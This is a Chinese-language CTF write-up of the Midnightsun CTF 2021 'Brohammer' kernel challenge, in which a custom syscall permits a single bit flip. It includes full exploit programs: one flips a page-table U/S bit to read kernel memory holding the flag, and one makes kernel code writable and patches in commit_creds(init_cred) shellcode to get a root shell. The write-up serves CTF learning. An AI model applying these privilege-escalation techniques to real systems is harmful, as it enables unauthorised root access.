前言
又是一道非常有意思的题目,其实笔者很喜欢这种跟页表、特权级等相关的题目(:虽然大多都无法独立做出来,但是通过这些题目可以学到很多的东西
题目分析
- 内核版本:
v4.17.0
smap/smep/kpti/kaslr
全关
题目给了源码:
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
#ifndef __NR_BROHAMMER
#define __NR_BROHAMMER 333
#endif
unsigned long flips = 0;
SYSCALL_DEFINE2(brohammer, long *, addr, long, bit)
{
if (flips >= 1)
{
printk(KERN_INFO "brohammer: nope\n");
return -EPERM;
}
*addr ^= (1ULL << (bit));
(*(long *) &flips)++;
return 0;
}
可以看到漏洞非常简单,1 bit
任意可写地址翻转,只能使用一次。由于这里的 flips
是 unsigned long
类型,所以这里无法通过修改 flips
实现无限次的任意可写地址 1 bit
翻转;然后代码段又是不可写的,所以也无法修改 if (flips >= -1)
逻辑实现无限次的任意可写地址 1 bit
翻转。所以这里就只能是完全通过一次任意可写地址 1 bit
翻转去提权或获取 flag
(:毕竟是 CTF
题目
漏洞利用
方案一:修改 PTE.U/S 实现普通用户对特权页面的访问
首先是参考了 hxp
的方案,其主要就是去拿 flag
,思路如下:
- 前置知识:
initramfs
文件系统中的所有内容都会被读取到内存当中,且每次都在一个固定的区域当中,由于关闭了kaslr
,所以这个区域是已知的(记作flag_area
),其对应的PTE
地址也是固定的PTE
中的U/S
字段指定一个页或者一组页的特权级,其为PTE
的第2 bit
(从lsb = 0 bit
开始),当其为0
时表示只有supervisor
才能访问对应的页;为1
表示普通user
也可以访问对应的页
- 利用思路:
- 先调试定位上述
flag_area
对应PTE
的地址,其是固定的 - 然后利用漏洞翻转对应
PTE
的U/S
字段,此时普通用户就可以访问上述flag_area
区域 - 遍历
flag_area
区域寻找flag
- 先调试定位上述
这里实际定位是在
PDE
中,因为这里的PS
位被置位,所以PDE
并不执行PTE
,而是直接作为页的起始地址,但是笔者习惯将最后一级转换表称作PTE
本地的 flag
的内容为:
xiaozaya@vm:~/rubbish/MidnightsunCTF2021_Brohammer$ cat fs/root/flag
this is where the flag will be on the remote host...
调试定位该 flag
所属的 flag_area
区域:
gef> search-pattern "this is where the flag will be on the remote host..."
[+] Searching 'this is where the flag will be on the remote host...' in whole memory
[+] In (0xffff880000200000-0xffff880007e00000 [rw-])
0xffff880003321000: 74 68 69 73 20 69 73 20 77 68 65 72 65 20 74 68
gef> x/s 0xffff880003321000
0xffff880003321000: "this is where the flag will be on the remote host...\n"
可以看到这里 flag
的地址为 0xffff880003321000
,然后定位其对应 PTE
的地址:
0x00000000018fb0c8: 0x80000000032001e3 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A NO_US A D G XD
可以看到 flag
所在的区域 flag_area
为 0xffff880003200000-0xffff88000340000
,其对应的 PTE
的物理地址为 0x00000000018fb0c8
,然后其 PTE
值为 0x80000000032001e3
,可以看到这里的 bin(3) = 0b11
,即这里的 U/S
字段为 0
,表示只有特权用户才能访问 flag_area: 0xffff880003200000-0xffff88000340000
区域
0x00000000018fb0c8
转换为虚拟地址为 0xffff8800018fb0c8
(这里其实有两个对应的虚拟地址,这里选择直接映射区的这个地址),然后利用漏洞修改 PTE
的 U/S
字段:
gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8: 0x80000000032001e3 <==== 修改前
gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8: 0x80000000032001e7 <==== 修改后 bin(7) = 0b111 ==> U/S=1
可以看到这里已经没有了 NO_US
标志了,说明普通用户已经可以访问 flag_area
区域了:
0x00000000018fb0c8: 0x80000000032001e7 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A A D G XD
最后遍历 flag_area
区域寻找 flag
即可,最后 exp
如下:
#include <stdio.h>
#include <unistd.h>
int main() {
syscall(333, 0xffff8800018fb0c8, 2);
unsigned long long start = 0xffff880003200000;
for (unsigned long long i = 0; i < 0x200000 / 0x1000; i++) {
char* addr = start + i * 0x1000;
if (addr[0] == 't' && addr[1] == 'h') {
printf("%d: %s\n", i, addr);
break;
}
}
return 0;
}
效果如下:
方案二:修改内核代码段 pte 提权
第二种方案参考 Will's Root
的文章,其跟方案一其实类似,这里就边调试边讲解。通过内核符号表可以知道 startup_64
总是被映射到 0xffff880001000000
,调试可以知道其为 PDE
中对应的一个 2M
内存区域:
0x00000000018fb040: 0x80000000010001e1 (virt:0xffff880001000000-0xffff880001200000,type:2MB-PAGE) A A NO_RW NO_US A D G XD
该区域对应的 PDE(PTE)
没有 W
权限和 US
权限,其中题目提供的系统调用函数 __x64_sys_brohammer
也被映射到该区域:
gef> x/3gi 0xffff8800010b1344
0xffff8800010b1344: endbr64
0xffff8800010b1348: cmp QWORD PTR [rip+0x8459a8],0x0 # 0xffff8800018f6cf8
0xffff8800010b1350: mov rcx,QWORD PTR [rdi+0x68]
gef> x/3gi 0xffffffff810b1344
0xffffffff810b1344 <__x64_sys_brohammer>: endbr64
0xffffffff810b1348 <__x64_sys_brohammer+4>: cmp QWORD PTR [rip+0x8459a8],0x0 # 0xffffffff818f6cf8
0xffffffff810b1350 <__x64_sys_brohammer+12>: mov rcx,QWORD PTR [rdi+0x68]
所以这里主要的想法就是去控制 0x00000000018fb040
对应的区域,从而控制 0xffff880001000000-0xffff880001200000
区域的权限,然后调试发现,0xffff8800018fb060
处的 PDE(PTE)
可以控制 0xffff880001800000-0xffff880001900000
区域:
0xffff8800018fb040|+0x0000|+000: 0x80000000010001e1
0xffff8800018fb048|+0x0008|+001: 0x80000000012001e1
0xffff8800018fb050|+0x0010|+002: 0x0000000007986063
0xffff8800018fb058|+0x0018|+003: 0x0000000007987063
0xffff8800018fb060|+0x0020|+004: 0x80000000018001e3 <====
所以这里可以修改 0xffff8800018fb060
处的 PDE(PTE)
的 U/S
标志位,从而就可以控制 0xffff8800018fb040
的值,从而修改 0x80000000010001e1
为 0x80000000010001e7
赋予 W
和 U/S
权限,此时就可以在用户态去修改内核态的代码硬编码,这里选择修改 __x64_sys_brohammer
:
gef> x/16gi __x64_sys_brohammer
0xffffffff810b1344 <__x64_sys_brohammer>: endbr64
0xffffffff810b1348 <__x64_sys_brohammer+4>: mov rdi,0xffffffff81833100
0xffffffff810b134f <__x64_sys_brohammer+11>: mov rax,0xffffffff81034bbc
0xffffffff810b1356 <__x64_sys_brohammer+18>: call rax
0xffffffff810b1358 <__x64_sys_brohammer+20>: ret
然后调用 brohammer
系统调用即可执行 commit_creds(init_cred)
,由于这里是正常的系统调用,所以不需要像之前漏洞利用那样手动返回到用户态,这里正常执行完系统调用后,会自动返回用户态
这里有个问题,我通过 pwntools
生成 shellcode
无法写入,然后我直接写入字符串发现只能写入 9
个字符?但是用参考文章中的方法又可以成功写入,目前暂时不知道咋回事,参考文章中最后 exp
如下:
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#define FLIPS 0xffffffff818f6cf8
#define COMMIT_CREDS "0xffffffff81034bbc"
#define INIT_CRED "0xffffffff81833100"
#define evil "mov rdi, "INIT_CRED";\nmov rax, "COMMIT_CREDS";\ncall rax;\nret;"
void rootkit();
asm("rootkit:"
evil);
void GUARD()
{
return;
}
int main() {
syscall(333, 0xffff8800018fb060, 2);
uint64_t* addr = 0xffff8800018fb040;
*addr = 0x80000000010001e7;
char* code = 0xffff880001000000 + 0xb1348;
//char* shellcode = "\x90\x90\x90h\x001\x83\x81_h\xbcK\x03\x81X\xff\xd0\xc3";
char* shellcode = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB";
memcpy(code, rootkit, GUARD-rootkit);
syscall(333, 0xdeadbeef, 0);
system("/bin/sh");
return 0;
}
用 IDA
打开生成的 lpe
二进制文件:
但是我直接用 pwntools
生成的 "H\xc7\xc7\x001\x83\x81H\xc7\xc0\xbcK\x03\x81\xff\xd0\xc3"
却无法正常写入,这里都是一样的,不知道为啥
效果如下:
总结
通过调试,对 linux
四级页表更加清晰了,也对相关保护权限有了一定的了解,总的来说学到了很多😀
参考
Midnightsun CTF 2021: Brohammer
MidnightsunQuals 2021 BroHammer Writeup (Single Bit Flip to Kernel Privilege Escalation)